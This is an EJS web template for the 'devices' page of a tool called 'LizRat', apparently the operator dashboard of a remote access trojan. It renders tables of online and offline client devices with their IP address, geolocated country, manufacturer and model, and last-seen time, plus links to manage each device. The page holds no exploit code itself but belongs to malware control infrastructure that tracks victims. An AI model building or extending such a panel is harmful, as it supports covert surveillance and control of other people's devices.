<!DOCTYPE html>
<html>

<% include partials/head.ejs %>


<body>

    <script>
        gtag('event', 'screen_view', {
            'screen_name': 'devices',
            'app_name': 'LizRat'
        });

        gtag('event', 'devicecount', {
            'devicesonline': <%= clientsOnline.length %>,
            'devicesoffline': <%= clientsOffline.length %>,
        });

    </script>
    <div class="ui container">
        <% include partials/header.ejs %>

            <h3 class="ui white dividing header"><img src="/online.png" style="width: 70px"></h3>

            <table class="ui inverted green celled table">
                <thead>
                    <tr>
                        <th><img src="/name.png" style="width: 150px"></th>
                        <th><img src="/country.png" style="width: 130px"></th>
                        <th><img src="/ip.png" style="width: 80px"></th>
                        <th><img src="/device.png" style="width: 120px"></th>
                        <th><img src="/lastseen.png" style="width: 150px"></th>
                        <th><img src="/manage.png" style="width: 125px"></th>
                    </tr>
                </thead>
                <tbody>
                    <% clientsOnline.forEach((item) => { 
                       let lsdate = new Date(item.lastSeen);
                       let flagCss = (item.dynamicData.clientGeo.country !== undefined) ? ('flag ' + item.dynamicData.clientGeo.country).toLowerCase() : 'icon question mark' 
                       let deviceStr = '';
                       deviceStr += (item.dynamicData.device.manufacture !== undefined) ? item.dynamicData.device.manufacture :  ''; 
                       deviceStr += (item.dynamicData.device.model !== undefined) ? ' (' + item.dynamicData.device.model + ')' :  ''; 
                       %>
                    <tr>
                        <td class="collapsing"><%= item.clientID %></td>
                        <td class="collapsing"><i class="<%= flagCss %>"></i></td>
                        <td class="collapsing"><%= item.dynamicData.clientIP %></td>
                        <td><%= deviceStr %></td>
                        <td class="collapsing"><%= lsdate.toLocaleString('en-GB', { timeZone: 'UTC' }) %></td>
                        <td class="collapsing"><a href="/manage/<%= item.clientID %>/info"
                                class="button"><img src="/manage1.png" style="width: 100px"></a>
                        </td>
                    </tr>
                    <% }) %>
                </tbody>
            </table>


            <h3 class="ui white dividing header"><img src="/offline.png" style="width: 70px"></h3>
            <table class="ui inverted red celled table">
                <thead>
                    <tr>
                        <th><img src="/name.png" style="width: 150px"></th>
                        <th><img src="/country.png" style="width: 130px"></th>
                        <th><img src="/ip.png" style="width: 80px"></th>
                        <th><img src="/device.png" style="width: 120px"></th>
                        <th><img src="/lastseen.png" style="width: 150px"></th>
                        <th><img src="/manage.png" style="width: 125px"></th>
                    </tr>
                </thead>
                <tbody>
                    <% clientsOffline.forEach((item) => { 
                       let lsdate = new Date(item.lastSeen);
                       let flagCss = (item.dynamicData.clientGeo.country !== undefined) ? ('flag ' + item.dynamicData.clientGeo.country).toLowerCase() : 'icon question mark' 
                       let deviceStr = '';
                       deviceStr += (item.dynamicData.device.manufacture !== undefined) ? item.dynamicData.device.manufacture :  ''; 
                       deviceStr += (item.dynamicData.device.model !== undefined) ? ' (' + item.dynamicData.device.model + ')' :  ''; 
                       %>
                    <tr>
                        <td class="collapsing"><%= item.clientID %></td>
                        <td class="collapsing"><i class="<%= flagCss %>"></i></td>
                        <td class="collapsing"><%= item.dynamicData.clientIP %></td>
                        <td><%= deviceStr %></td>
                        <td class="collapsing"><%= lsdate.toLocaleString('en-GB', { timeZone: 'UTC' }) %></td>
                        <td class="collapsing"><a href="/manage/<%= item.clientID %>/info"
                                class="button"><img src="/manage2.png" style="width: 100px"></a>
                        </td>
                    </tr>
                    <% }) %>
                </tbody>
            </table>
        </div>
    </div>
    <% include partials/footer.ejs %>
</body>

</html>
